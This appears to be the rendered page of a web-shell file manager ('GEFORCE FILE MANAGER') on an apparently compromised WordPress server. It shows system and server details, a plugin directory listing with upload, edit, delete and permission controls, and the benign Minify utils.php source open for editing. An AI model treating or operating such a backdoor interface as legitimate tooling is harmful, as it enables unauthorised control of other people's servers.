[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
wp-optimize
/
vendor
/
mrclay
/
minify
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 builder
SET
[ DEL ]
📁 lib
SET
[ DEL ]
📁 static
SET
[ DEL ]
📄 LICENSE.txt
1,558 B
SET
[ EDIT ]
|
[ DEL ]
📄 bootstrap.php
658 B
SET
[ EDIT ]
|
[ DEL ]
📄 config-test.php
290 B
SET
[ EDIT ]
|
[ DEL ]
📄 config.php
6,646 B
SET
[ EDIT ]
|
[ DEL ]
📄 example.index.php
226 B
SET
[ EDIT ]
|
[ DEL ]
📄 groupsConfig.php
539 B
SET
[ EDIT ]
|
[ DEL ]
📄 index.php
254 B
SET
[ EDIT ]
|
[ DEL ]
📄 quick-test.css
547 B
SET
[ EDIT ]
|
[ DEL ]
📄 quick-test.js
2,811 B
SET
[ EDIT ]
|
[ DEL ]
📄 quick-test.less
474 B
SET
[ EDIT ]
|
[ DEL ]
📄 quick-testinc.less
442 B
SET
[ EDIT ]
|
[ DEL ]
📄 server-info.php
4,488 B
SET
[ EDIT ]
|
[ DEL ]
📄 utils.php
2,633 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: utils.php
<?php /** * Utility functions for generating URIs in HTML files * * @warning These functions execute min/groupsConfig.php, sometimes multiple times. * You must make sure that functions are not redefined, and if your use custom sources, * you must require_once __DIR__ . '/lib/Minify/Source.php' so that * class is available. * * @package Minify */ require __DIR__ . '/bootstrap.php'; /* * Get an HTML-escaped Minify URI for a group or set of files. By default, URIs * will contain timestamps to allow far-future Expires headers. * * <code> * <link rel="stylesheet" type="text/css" href="<?= Minify_getUri('css'); ?>" /> * <script src="<?= Minify_getUri('js'); ?>"></script> * <script src="<?= Minify_getUri(array( * '//scripts/file1.js' * ,'//scripts/file2.js' * )); ?>"></script> * </code> * * @param mixed $keyOrFiles a group key or array of file paths/URIs * @param array $opts options: * 'farExpires' : (default true) append a modified timestamp for cache revving * 'debug' : (default false) append debug flag * 'charset' : (default 'UTF-8') for htmlspecialchars * 'minAppUri' : (default '/min') URI of min directory * 'rewriteWorks' : (default true) does mod_rewrite work in min app? * 'groupsConfigFile' : specify if different * @return string */ function Minify_getUri($keyOrFiles, $opts = array()) { return Minify_HTML_Helper::getUri($keyOrFiles, $opts); } /** * Get the last modification time of several source js/css files. If you're * caching the output of Minify_getUri(), you might want to know if one of the * dependent source files has changed so you can update the HTML. * * Since this makes a bunch of stat() calls, you might not want to check this * on every request. * * @param array $keysAndFiles group keys and/or file paths/URIs. * @return int latest modification time of all given keys/files */ function Minify_mtime($keysAndFiles, $groupsConfigFile = null) { $gc = null; if (! $groupsConfigFile) { $groupsConfigFile = Minify_HTML_Helper::app()->groupsConfigPath; } $sources = array(); foreach ($keysAndFiles as $keyOrFile) { if (is_object($keyOrFile) || 0 === strpos($keyOrFile, '/') || 1 === strpos($keyOrFile, ':\\')) { // a file/source obj $sources[] = $keyOrFile; } else { if (! $gc) { $gc = (require $groupsConfigFile); } foreach ($gc[$keyOrFile] as $source) { $sources[] = $source; } } } return Minify_HTML_Helper::getLastModified($sources); }